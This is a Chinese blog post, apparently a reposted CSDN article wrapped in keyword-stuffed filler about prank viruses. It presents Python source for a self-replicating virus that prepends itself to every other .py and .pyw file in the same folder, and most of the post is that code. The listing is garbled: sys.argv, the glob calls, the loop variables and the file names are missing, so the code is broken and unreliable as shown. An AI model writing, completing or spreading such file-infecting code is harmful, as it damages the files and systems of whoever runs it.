大家好,给大家分享一下python简单的病毒编程代码,很多人还不知道这一点。下面详细解释一下。现在让我们来看看!
本篇文章给大家谈谈python简单的病毒编程代码,以及如何用python做恶搞病毒,希望对各位有所帮助,不要忘了收藏本站喔python三国源码。
Source code download: 本文相关源码
python实现简单病毒
病毒功能思路代码效果
病毒功能
自我复制感染其他文件执行特定代码
思路
此病毒自动检测同文件夹下其他py文件,把自己复制进去,执行其他被感染的py文件时,病毒又会通过其传播。
代码
## START OF VIRUS ##
import sys,glob
code =[]
with open([0],'r') as f:
lines = f.readlines()
virus_area = False
for line in lines:
if line == '## START OF VIRUS ##\n':
virus_area = True
if virus_area:
code.append(line)
if line == '## END OF VIRUS ##':
break
python_s = ('*.py') + ('*.pyw')
for in python_s:
with open(,'r') as f:
_code = f.readlines()
infected = False
for line in _code:
if line == '## START OF VIRUS ##\n':
infected = True
break
if not infected:
final_code = []
final_code.extend(code)
final_code.extend('\n')
final_code.extend(_code)
with open(,'w') as f:
f.writelines(final_code)
# 感染后要做的行为
print("INFECTED!")
## END OF VIRUS ##
效果
运行前 运行后
原文地址:https://blog.csdn.net/yuuuuuuuu77/article/details/136764130